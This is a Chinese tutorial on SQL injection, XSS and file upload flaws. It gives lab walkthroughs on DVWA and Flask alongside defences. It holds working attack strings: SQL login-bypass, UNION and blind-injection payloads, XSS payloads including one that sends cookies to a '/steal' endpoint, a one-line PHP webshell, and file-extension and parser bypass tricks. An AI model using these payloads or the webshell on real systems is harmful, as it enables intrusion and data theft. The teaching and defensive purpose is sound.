引言:为什么这三类漏洞经久不衰

在Web安全领域,SQL注入、XSS和文件上传漏洞堪称“老三样”。

请添加图片描述

它们频繁出现在OWASP Top 10、CVE漏洞库和各类渗透测试报告中,不是因为技术有多新颖,而是因为它们直指Web应用最根本的矛盾:用户输入不可信,但开发者常常默认它可信。

SQL注入把用户输入拼进SQL语句,让数据变成了数据库指令;XSS把用户输入输出到HTML页面,让文本变成了浏览器脚本;文件上传则把用户文件放到Web可访问目录,让附件变成了可执行后门。三者的共同点是:没有在正确的边界上做正确的处理。

本文从原理、实战案例和防御策略三个层面展开,所有示例均在本地靶场或授权环境中复现。请勿对未授权目标进行测试。

从数据流角度看,Web应用本质上是一条“解释器链”:HTTP请求先被Web服务器解析,再被后端语言解析,然后进入数据库解释器、模板引擎、浏览器解释器,最后可能进入文件系统或操作系统执行环境。每经过一个解释器,数据都可能被赋予新的语义。安全的做法不是“过滤坏字符”,而是在数据跨越信任边界时,明确它应该被当作数据,而不是被当作代码。SQL注入、XSS和文件上传漏洞,正是三个最典型的边界失效案例。

这三类漏洞之所以经久不衰,还因为它们常常可以组合成完整攻击链:先用SQL注入窃取用户表和管理员哈希,再通过XSS窃取会话或发起CSRF,最后利用文件上传获取WebShell,完成从数据泄露到服务器控制的升级。理解它们,不只是为了通过渗透测试,更是为了在开发、运维和架构设计中建立“默认不信任”的思维。

一、SQL注入:当数据变成代码

1.1 核心原理

SQL注入的本质是程序将用户输入直接拼接进SQL语句,导致输入改变了原SQL的语义。例如一个登录查询:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

如果攻击者输入用户名 admin' -- ,密码任意,语句就变成:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'xxx';

-- 是SQL注释符,后面的密码校验被注释掉,攻击者无需密码即可登录。更危险的是联合查询注入:

SELECT id, name FROM products WHERE id = 1 UNION SELECT username, password FROM users;

攻击者可以把其他表的数据直接返回到页面。若页面不回显,还可以使用布尔盲注、时间盲注、报错注入等方式逐字符推断数据。

进一步看,SQL是一种声明式语言。数据库接收到SQL字符串后,会先做词法分析、语法分析,生成抽象语法树,再优化并执行。当用户输入被拼接进SQL字符串时,数据库根本无法区分哪部分是开发者写的“代码”,哪部分是用户提供的“数据”。这就是注入的根源。常见注释符包括 -- 、#、/* */。在MySQL中,-- 后面通常需要空格,而#直接注释到行尾。联合查询要求前后查询列数相同、数据类型兼容,因此攻击者常用ORDER BY判断列数,再用UNION SELECT确定回显位。

盲注是SQL注入中非常重要的分支。布尔盲注通过页面返回的真假状态推断数据,例如:

1' AND ASCII(SUBSTRING((SELECT database()),1,1)) > 100 -- 

时间盲注则通过SLEEP(5)、BENCHMARK()等函数制造延迟:

1' AND IF(ASCII(SUBSTRING((SELECT database()),1,1)) > 100, SLEEP(5), 0) -- 

报错注入利用数据库函数把数据拼进错误信息,例如MySQL中的extractvalue()、updatexml()、floor(rand(0)*2)。堆叠注入则试图一次执行多条SQL语句,是否成功取决于数据库驱动和配置。还有一种容易被忽略的“二次注入”:恶意数据第一次插入时被转义或参数化,看似安全;但当它从数据库取出后,又被拼接进新的SQL语句,此时触发注入。

1.2 实战案例:DVWA中的SQL注入

在DVWA的SQL Injection模块(Low级别)中,输入 1 返回用户信息,输入 1' 报错,说明存在注入。进一步输入:

1' UNION SELECT user, password FROM users -- 

页面可能直接回显用户名和密码哈希。这演示了联合查询注入的基本流程:判断列数、确定回显位、提取数据。

实际测试时,可以按以下步骤展开:

  1. 输入1,页面返回正常;输入1',页面报错,说明参数可能被单引号包裹。
  2. 输入1' -- ,如果页面恢复正常,说明注释符生效,确认字符型注入。
  3. 使用1' ORDER BY 1 -- 、1' ORDER BY 2 -- 递增,直到报错,确定查询列数。
  4. 使用1' UNION SELECT 1,2 -- 确定回显位,假设页面显示数字2的位置。
  5. 将回显位替换为数据库函数:1' UNION SELECT user(), database() -- ,获取当前数据库用户和库名。
  6. 查询表名:1' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database() -- 。
  7. 查询列名:1' UNION SELECT column_name, table_name FROM information_schema.columns WHERE table_name='users' -- 。
  8. 提取数据:1' UNION SELECT user, password FROM users -- 。

漏洞代码通常长这样:

<?php
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);
// 直接输出结果
?>

这段代码的问题在于,$id来自$_GET,未做类型校验,也未使用预处理,直接拼接到SQL中。如果$id是数字型,攻击者甚至不需要引号,直接构造1 UNION SELECT ...即可。

修复方式是使用预处理语句,让SQL结构与数据分离:

<?php
$id = $_GET['id'];
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute([':id' => $id]);
$user = $stmt->fetch();
?>

预处理语句之所以有效,是因为数据库先编译SQL模板,再绑定参数,参数内容不会被当作SQL语法解析。但要注意:表名、列名、ORDER BY字段等不能使用预编译占位符,必须用白名单校验。另外,PDO默认可能开启模拟预处理,建议显式关闭:

<?php
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>

如果无法使用预处理,至少要对数字型参数做强制类型转换:

<?php
$id = intval($_GET['id']);
$sql = "SELECT * FROM users WHERE id = $id";
?>

但强转只适用于数字型,字符串型仍需参数化或严格白名单。

1.3 防御要点

  • 首选预编译语句,禁止字符串拼接SQL。
  • 对无法参数化的部分使用严格白名单。
  • 数据库账号遵循最小权限,禁止Web应用账号拥有FILE、DROP等权限。
  • 关闭详细错误回显,避免泄露数据库结构。
  • 不要依赖addslashes或简单转义,宽字节注入等场景仍可能绕过。

常见问题FAQ:

Q:用了addslashes为什么还可能被注入?
A:addslashes只在单引号、双引号、反斜杠、NULL前加反斜杠。如果数据库使用GBK等宽字节字符集,攻击者可以构造%df',其中%df与反斜杠组合成新字符,导致引号逃逸。此外,数字型注入不需要引号,二次注入也可能绕过。

Q:预编译一定安全吗?
A:预编译能解决绝大多数数据拼接问题,但如果开发者把表名、列名、ORDER BY字段拼进SQL,仍然存在注入。PDO模拟预处理在某些字符集配置下也可能出问题。因此,预编译要配合白名单、最小权限和正确字符集。

Q:ORM框架是否免疫SQL注入?
A:不是。ORM的查询构造器通常安全,但原生SQL、字符串拼接、orderBy、whereRaw等接口仍可能引入注入。使用ORM时,不要直接拼接用户输入到原生SQL片段。

Q:最小权限具体怎么做?
A:Web应用数据库账号只授予业务所需库表的SELECT、INSERT、UPDATE、DELETE权限,禁止FILE、PROCESS、SUPER、DROP、CREATE等高危权限。不同业务使用不同账号,避免一个账号通杀所有库。

Q:错误回显为什么危险?
A:详细报错会泄露数据库类型、版本、表名、列名、SQL语句结构,帮助攻击者快速构造注入。生产环境应统一错误页,把详细错误写入内部日志。

二、XSS:信任了不该信任的浏览器输出

2.1 核心原理

XSS(跨站脚本)的本质是用户输入被当作HTML或JavaScript执行。浏览器无法区分“开发者写的脚本”和“攻击者注入的脚本”,只要内容出现在HTML上下文中,就可能被执行。

XSS分为三类:

  • 反射型:恶意脚本在请求参数中,服务器直接回显到响应页面。
  • 存储型:恶意脚本被存入数据库,其他用户访问页面时触发。
  • DOM型:前端JavaScript从URL、localStorage等读取数据并写入DOM,不经过服务器。

攻击者常用XSS窃取Cookie、发起CSRF、篡改页面、钓鱼。若Cookie未设置HttpOnly,document.cookie可直接读取。

从浏览器视角看,HTML解析器会把响应内容解析成DOM树,遇到<script>标签或事件属性时会执行JavaScript。XSS的本质是“输出上下文混淆”:开发者以为用户输入只是文本,浏览器却把它当成了HTML标签、属性、脚本或URL。反射型XSS通常需要诱导受害者点击恶意链接;存储型XSS危害更大,因为恶意脚本持久化在数据库中,所有访问该页面的用户都会中招;DOM型XSS则完全发生在浏览器端,服务器响应中可能根本不包含恶意脚本,传统WAF和服务器日志难以发现。

XSS的危害不止弹窗。攻击者可以窃取会话Cookie、LocalStorage中的Token、键盘记录、发起CSRF请求、篡改页面内容、植入钓鱼表单、挖矿,甚至组合成蠕虫。同源策略不能阻止XSS,因为恶意脚本来自受信任的站点本身,浏览器认为它是合法脚本。HttpOnly可以防止JavaScript读取Cookie,但不能阻止攻击者以受害者身份发起请求或篡改页面。

2.2 实战案例:留言板的存储型XSS

一个简单的留言板接收用户输入并直接输出:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/vuln')
def vuln():
    name = request.args.get('name', '')
    return f"<h1>Hello {name}</h1>"

@app.route('/safe')
def safe():
    name = request.args.get('name', '')
    return render_template_string("<h1>Hello {{ name }}</h1>", name=name)

访问 /vuln?name=<script>alert(document.cookie)</script>,浏览器会执行脚本。而 /safe 使用Jinja2模板,默认开启HTML自动转义,<会变成&lt;,脚本无法执行。

存储型XSS的流程通常是:攻击者在留言框提交<script>fetch('/steal?c='+document.cookie)</script>,后端未过滤直接存入数据库;其他用户访问留言列表时,服务器从数据库取出内容并拼接到HTML中,浏览器执行脚本,Cookie被发送到攻击者服务器。整个过程无需受害者点击恶意链接,只要访问正常页面即可触发。

DOM型XSS示例:

<div id="msg"></div>
<script>
const hash = location.hash.slice(1);
document.getElementById('msg').innerHTML = decodeURIComponent(hash);
</script>

访问#<img src=x onerror=alert(1)>,innerHTML会把内容解析为HTML,onerror事件执行。修复方式是使用textContent:

document.getElementById('msg').textContent = decodeURIComponent(hash);

但自动转义不是万能的。如果开发者使用|safe过滤器,或在JavaScript、URL、CSS上下文中输出,仍需按上下文编码:

// 危险:直接插入HTML
element.innerHTML = userInput;

// 较安全:作为文本插入
element.textContent = userInput;

// 若必须插入HTML,使用DOMPurify等库净化
element.innerHTML = DOMPurify.sanitize(userInput);

不同输出上下文需要不同编码策略:

  • HTML正文:&转&amp;,<转&lt;,>转&gt;,"转&quot;,'转&#x27;。
  • HTML属性:属性值必须用引号包裹,并对引号、尖括号、等号等编码。
  • JavaScript字符串:使用\x3c、\u003c等方式转义,避免直接嵌入用户输入。
  • URL参数:使用encodeURIComponent编码。
  • CSS上下文:尽量避免用户输入,必须使用时严格白名单。

CSP(内容安全策略)可以作为纵深防御:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; base-uri 'self';

上线前可以先用报告模式观察:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

2.3 防御要点

  • 输出编码:HTML实体、JS字符串、URL、CSS上下文分别处理。
  • 富文本使用白名单净化,禁止<script>、事件属性、javascript:协议。
  • 设置Cookie的HttpOnly、Secure、SameSite属性。
  • 部署CSP(内容安全策略),限制脚本来源,作为纵深防御。
  • 避免使用innerHTML、document.write、eval等危险API。

常见问题FAQ:

Q:只过滤<script>就安全吗?
A:远远不够。<img src=x onerror=alert(1)>、<svg onload=alert(1)>、<a href="javascript:alert(1)">、<iframe srcdoc=...>等都可以执行脚本。编码绕过、大小写混写、注释拆分也很常见。

Q:HttpOnly能彻底防XSS吗?
A:不能。HttpOnly只阻止JavaScript读取Cookie,攻击者仍可以以受害者身份发起请求、篡改DOM、钓鱼、发起CSRF。XSS的根因是脚本执行,不是Cookie读取。

Q:CSP能完全防XSS吗?
A:不能。CSP配置不当可能被绕过,例如白名单CDN上存在可控JSONP、Angular库、旧版JS框架,或者nonce泄露。CSP是纵深防御,不是替代输出编码。

Q:富文本编辑器怎么办?
A:采用白名单策略,只允许安全标签和属性,禁止on*事件、style、script、iframe。服务端必须净化,前端可再次净化,不能只依赖前端。

Q:输出编码和输入过滤有什么区别?
A:输入过滤用于业务约束,例如用户名只允许字母数字;输出编码是安全底线,确保数据在特定上下文中不被解释为代码。不要只依赖输入过滤,因为同一份数据可能输出到多个上下文。

三、文件上传漏洞:从上传到RCE

3.1 核心原理

文件上传漏洞的根源是应用允许用户上传文件,却未严格限制文件类型、内容和存储位置,导致文件可被服务器解析执行。常见绕过方式包括:

  • 前端JS校验可抓包绕过。
  • MIME类型可伪造。
  • 黑名单扩展名不全,如只禁php,却漏掉php5、phtml、pht。
  • 大小写、空格、点号、::$DATA等系统特性绕过。
  • 配合Apache .htaccess、Nginx解析漏洞、IIS解析漏洞。
  • 路径穿越上传到Web目录。

一旦上传WebShell,攻击者即可执行系统命令,控制服务器。

完整攻击链通常是:找到上传点 -> 上传恶意文件 -> 文件落地到Web可访问目录 -> 服务器按脚本解析 -> 访问文件触发代码执行 -> 获取服务器权限。常见WebShell示例:

<?php system($_GET['cmd']); ?>

访问shell.php?cmd=id即可执行系统命令。JSP、ASP也有类似一句话木马。绕过手段中,.htaccess攻击非常经典:如果Apache允许上传.htaccess,攻击者可以上传内容为AddType application/x-httpd-php .jpg的文件,让普通jpg被当作PHP解析。Nginx旧版解析漏洞可能把shell.jpg/x.php中的jpg当PHP执行;IIS可能把shell.asp;.jpg或shell.asp/解析为ASP。条件竞争则利用“先上传合法文件,再快速重命名/删除”的时间窗口。

3.2 实战案例:不安全的图片上传

以下是一个存在漏洞的Flask上传接口:

import os
from flask import Flask, request

app = Flask(__name__)
UPLOAD_DIR = 'static/uploads'

@app.route('/upload', methods=['POST'])
def upload():
    f = request.files['file']
    filename = f.filename
    f.save(os.path.join(UPLOAD_DIR, filename))
    return '上传成功'

攻击者上传shell.php,若服务器配置PHP解析,即可访问/static/uploads/shell.php执行代码。

实际攻击时,攻击者可能先上传shell.php,如果被拦截,尝试shell.phtml、shell.php5、shell.PHp、shell.php.、shell.php::$DATA、shell.php%00.jpg(旧版环境)。如果只允许图片,可以制作图片马:在正常图片末尾追加PHP代码,再配合解析漏洞或文件包含使用。若上传目录可访问且服务器解析配置不当,即可获取WebShell。

安全实现应包含白名单、重命名、非Web目录存储和内容校验:

import os, uuid
from flask import Flask, request
from werkzeug.utils import secure_filename

app = Flask(__name__)
UPLOAD_DIR = '/data/uploads'  # 非Web根目录
ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXT

@app.route('/upload', methods=['POST'])
def upload():
    f = request.files['file']
    if not f or not allowed_file(f.filename):
        return '文件类型不允许', 400
    ext = f.filename.rsplit('.', 1)[1].lower()
    new_name = f"{uuid.uuid4().hex}.{ext}"
    path = os.path.join(UPLOAD_DIR, new_name)
    f.save(path)
    # 可进一步校验文件头、二次渲染图片
    return f'上传成功:{new_name}'

可以补充文件头校验:

def check_image(path):
    with open(path, 'rb') as f:
        header = f.read(8)
    return header.startswith(b'\x89PNG\r\n\x1a\n') or header.startswith(b'\xff\xd8\xff')

对于图片,还可以二次渲染:

from PIL import Image

img = Image.open(path)
img.thumbnail((800, 800))
img.save(path)

二次渲染可以破坏图片中嵌入的恶意代码,但也要注意:渲染库本身可能存在漏洞,且不是所有文件都能安全渲染。更彻底的做法是上传目录不交给脚本处理器。例如Nginx配置:

location ^~ /uploads/ {
    location ~ \.(php|php5|phtml)$ {
        deny all;
    }
}

如果使用对象存储,应使用私有Bucket、签名URL、限制Content-Type,并确保存储桶不执行任何脚本。

3.3 防御要点

  • 白名单限制扩展名,禁止黑名单思维。

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

请添加图片描述

更多硬核网安与AI工具包,请扫码获取完整源码!

  • 重命名文件,避免用户控制路径和文件名。
  • 存储到非Web根目录,通过后端脚本读取和输出。
Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐